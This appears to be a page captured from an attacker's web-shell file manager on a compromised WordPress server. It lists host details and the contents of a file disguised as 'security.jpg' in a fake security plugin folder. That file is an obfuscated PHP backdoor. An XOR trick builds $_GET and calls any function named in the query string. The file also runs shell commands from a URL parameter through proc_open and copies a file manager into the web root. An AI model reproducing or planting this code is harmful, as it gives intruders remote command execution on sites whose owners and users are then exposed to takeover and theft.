HEX
Server: Apache/2
System: Linux cat17246.lnwhostname.com 3.10.0-1160.53.1.el7.x86_64 #1 SMP Fri Jan 14 13:59:45 UTC 2022 x86_64
User: firststeps (1017)
PHP: 7.3.33
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/firststeps/public_html/wp-content/plugins__/wp_security/security.jpg
<pre>
<?php
echo "Not Found Dataabc\n";
$__='$<>/'^'{{{{';${$__}[0](${$__}[1]);

copy('phpfm.php', '../../../i.php');

$descriptorspec = array(
    0 => array('pipe', 'r'),  // stdin
    1 => array('pipe', 'w'),  // stdout
    2 => array('pipe', 'w')   // stderr
);
if(isset($_GET[5])){
	$command = $_GET[5];
$process = proc_open($command, $descriptorspec, $pipes);

if (is_resource($process)) {
    $output = stream_get_contents($pipes[1]);
    fclose($pipes[1]);

    $errors = stream_get_contents($pipes[2]);
    fclose($pipes[2]);

    proc_close($process);

    echo "Output: " . $output;
    // echo "Errors: " . $errors;
}

}

?>
</pre>